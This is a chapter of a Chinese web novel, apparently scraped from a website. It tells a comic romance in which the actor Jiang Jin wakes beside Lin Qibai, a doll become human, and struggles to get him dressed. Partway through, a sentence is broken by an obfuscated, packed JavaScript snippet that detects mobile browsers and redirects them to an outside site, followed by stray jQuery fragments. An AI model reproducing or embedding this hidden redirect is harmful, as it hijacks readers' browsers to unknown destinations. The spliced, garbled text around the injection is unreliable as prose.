柔软滑嫩的触感让江烬整个人都给紧绷住了。
等他反应过来的时候,他已经狼狈地裹着被子跳下了床。
然后林栖白光溜溜的,除了头发,浑身上下一根毛发都没有,可爱的,嫩粉的,就毫无保留地映在了江烬的眼里。
真·光溜溜。
江烬脑子一懵,下意识捂住了鼻子。
拍戏的地区靠北,十月份的清晨还是有点冷的。
林栖白身上的被子一消失,他就下意识蜷缩了起来,蹙着眉睫毛微颤,看着是要被冻醒了。
江烬霎时回过神,赶紧手忙脚乱地把自己身上的被子扒拉下来,给林栖白裹上,恨不得把林栖白的脸都给藏进被子里。
操。
他刚刚都看到了些什么。
江烬对外很少说脏话,可他现在满脑子都是操操操,不敢相信自己刚刚竟然像个变态似的把林栖白给看光了。
江烬更是难以置信,怎么会有男生长那个样子。
粉粉的,漂亮的。
像是bjd玩偶精心雕琢出来的。
江烬现在脑子里都是它。
完蛋。
江烬捂住发热的鼻子,总觉得自己再想就要流鼻血了。
林栖白裹上被子后感受到温暖,眼睛最终没有睁开,而是又睡了过去。
江烬趁着这个时间赶紧去浴室里冲了个冷水澡,不过清晨的反应还在,江烬洗漱过后又冷静了好久,才勉强降下去。
江烬出来时,林栖白还裹着被子在睡。
江烬穿好衣服后拿着吹风机去客厅吹头发,吹头发的过程中,江烬努力去回想昨晚发生了什么,但他只记得自己好像梦到林栖白说要找他睡觉。
合着那不是梦,是现实?
江烬捂着脸,觉得自己真是蠢爆了。
等江烬吹完头发,林栖白还是没醒。
橘子倒是打了电话过来,小心翼翼地问他醒了没。
那语气,好像很怕自己电话来得不是时候。
江烬努力让自己的声音听起来很精神,防止橘子瞎猜。
“醒了。”江烬问,“有事?”
橘子:“给你送早餐啊。”
江烬早上一般会在酒店里吃点东西再去片场,他不能经常在外边抛头露面,防止被粉丝还有代拍给堵住,所以早餐大多数是橘子买好了送过来的。
见江烬没吭声,橘子很有灵性补充道:“我买了两份。”
江烬:“……”
“行,你来吧。”
江烬昨晚被林栖白弄得也没胃口吃晚饭,现在也饿了。
最重要的是,江烬现在很想做些什么来把早上的那一幕给忘掉,不然那东西总在他的脑袋里晃荡,他会真觉得自己是个变态。
-
橘子把早餐送过来时,不出意外地没能进门。
大概是考虑到江烬屋里藏着的那人的口味,橘子送来的早餐有包子油条,也有咖啡三明治。
“哥,要注意身体啊。”橘子看江烬的脸色好像不是太好的样子,大着胆子提醒道。
江烬现在连沉默的力气都没有了。
自证果然是一件最困难的事,江烬甚至没法证明自己还是个处男。
江烬头疼地揉了揉太阳穴,接过早餐后就对橘子挥了挥手,他现在看到橘子就头疼。
林栖白还在睡,江烬现在也没有信心能心平气和地和林栖白坐在一起吃饭,所以他吃完了自己的那份咖啡三明治后,才去把林栖白叫醒。
林栖白睡觉的时候很乖,江烬之前把他裹成什么样,现在依旧是那个姿势。
江烬看着林栖白漂亮的脸蛋露在外边,脸颊上一点软软的肉压在枕头上,真难想象睡觉这么乖的人,半夜竟然会偷偷爬他的床。
太可怕了。
真是人不可貌相。
江烬在床边站了好一会儿,才隔着被子推了推林栖白的肩膀,把他叫醒。
房间的床帘依旧没有打开,因为酒店对面就是高楼住宅区,江烬担心会有代拍或者私生在对面找位置盯着他的房间拍,所以他住进酒店后,整个套房的床帘他都是紧闭着的。
最多在他出门拍戏的时间,橘子会过来帮他开窗透透气,不然房间内也闷得慌。
林栖白颤抖着睫毛,努力地睁开眼时,看到房间内还是昏暗的,下意识就闭上眼想继续睡。
直到江烬啪的一声打开房间最亮的那盏灯,林栖白才裹着被子迷迷糊糊地抬起头,看到他,喊:“江烬。”
江烬心想你还好意思叫我,脸皮也真不是一般的厚。
“不早了,快起床。”江烬看了眼时间,“都快7点了。”
林栖白的表情看起来还有点困倦,像是并没有彻底睡醒。
但小人偶没有拖延症,江烬喊他起床,他就乖乖地掀开被子爬了起来。
那粉白漂亮的身体骤然从被子里钻出来,江烬吓了一跳,连忙捡起被子把他又裹了起来。
“你干嘛!?”江烬死死地裹着被子,生怕林栖白露出一点肌肤。
林栖白跪坐在床上,被江烬裹着,有些疑惑地仰着头“嗯?”了一声。
他没懂江烬为什么突然又不让他起床了,他只觉得自己好困啊。
小人偶还没有适应人类需要充足的睡眠才能启动的身体,他困困地抬头把下巴搭在了江烬的肩膀上,嘟囔道:“江烬,困。”
江烬身体顿时一僵,林栖白又说:“我在努力起床。”
江烬看着搭在自己肩膀上眼瞅又要睡着的林栖白,一点没看出他在努力起床。
江烬只觉得自己急得口腔都要冒火,他焦头烂额地在床尾找到了林栖白的真丝睡袍,立马拿过来塞进了他的怀里。
“先穿上。”江烬说。
林栖白从被子里伸出两条胳膊,让江烬帮他穿。
江烬觉得林栖白真是蹬鼻子上脸,但他又怕林栖白一直不穿耗着时间,他只能硬着头皮先把睡袍披在了林栖白身上。
然后江烬马不停蹄地又去自己的衣橱里翻了一身没穿过的新衣服,吊牌都还没摘,从上衣到裤子,一应俱全。
甚至还有一条崭新的黑色内裤。
这次江烬没再帮林栖白穿衣服,而是把衣服往床上一扔,丢下一句“穿好了再出来”,就头也不回地离开了房间,并把房门给关上了。
林栖白坐在床上,脑袋反应了好一会儿,才慢吞吞地从被子里钻出来,拎起那条明显和自己尺寸有些不符的内裤,听话
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17041111|194590||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地开始穿衣服。
江烬和林栖白的体型差得太多了,明明林栖白身高也有一七九,可林栖白体型偏瘦,江烬是个脱衣服演浑身肌肉的糙汉都没问题的一九一的男人。
林栖白穿着江烬的衣服,衣服是oversize,裤子也是oversize。
等林栖白穿好衣服从房间里出来时,裤腰都得拎着,甚至因为裤腿没挽好,出来时还把自己给摔一跤。
“哎哟我的天。”江烬没想到自己的衣服穿在林栖白身上会是这种效果,赶紧过去把人扶了起来。
林栖白一起身,裤腰又往下掉。
“等会儿,我去给你找条腰带。”江烬让林栖白把裤腰提好,他先是蹲下来帮林栖白的裤腿给挽起来,然后才进房间找腰带。
找到腰带后,江烬又伺候着林栖白,给他系腰带。
为了方便江烬系腰带,林栖白微微向前挺着腰。
在江烬给他穿腰带的时候,林栖白冷不丁来了一句:“你的内裤好大。”
江烬手一抖,刚穿进两个扣子里的腰带都差点滑下来。
林栖白浑然不知自己说了些什么虎狼之词,他甚至怕江烬不相信,他还用手比划了下:“这里,比我大了……”
没等林栖白比划着说出大多少,江烬就面红耳赤地捂住了林栖白的嘴。
“够了。”江烬涨红着耳朵,真怀疑林栖白这个人压根不知道廉耻为何物,竟然还想和他比划一下大小。
这脸皮也太厚了,比城墙都要厚。
林栖白眨眨眼,不明白自己说错什么了。
不过被江烬捂着嘴,他知道要怎么应对,昨天系统99有教过。
林栖白很好学,并且学为己用。
他伸出舌尖,慢吞吞地舔了下江烬的手心。
等江烬触电般地把手缩回去时,林栖白又抬手搂住了江烬的脖子,说:“江烬,接吻。”
江烬连忙后仰了下身子,气急败坏:“接什么吻接吻,你一天天的脑子里都在想什么?”
掌心被林栖白舔过的地方还带着湿润感,江烬蜷缩了一下手指,怎么都觉得不自在。
林栖白不明白他怎么了。
“不接吻吗?”明明昨天舔完手心就接吻了。
林栖白觉得自己挺喜欢和江烬接吻的,自己亲的时候有点累,但是江烬亲他的时候,他只需要仰着头配合就好。
虽然江烬偶尔会亲得很凶,让他呼吸不上来,可接吻时,江烬的舌头和他的舌头碰在一起,林栖白会有种飘忽忽的感觉。
他喜欢这个感觉。
“江烬,接吻。”林栖白手上的腰带还在江烬手上,他搂着江烬不给他躲。
“接吻。”林栖白重复道,很坚持。
江烬快速地给他系好腰带,并使劲一勒,勒得林栖白整个人都晃了下。
“不接吻。”江烬强行把林栖白的手从自己的脖子上拿下来,残忍道,“要么吃饭,要么离开,你选。”
林栖白愣愣地站在原地,有些茫然。
“江烬。”
林栖白小声地喊着江烬的名字,站在原地扣了扣手指,像是没想过会被拒绝,有些不知所措。
“你不喜欢我了吗?”林栖白问。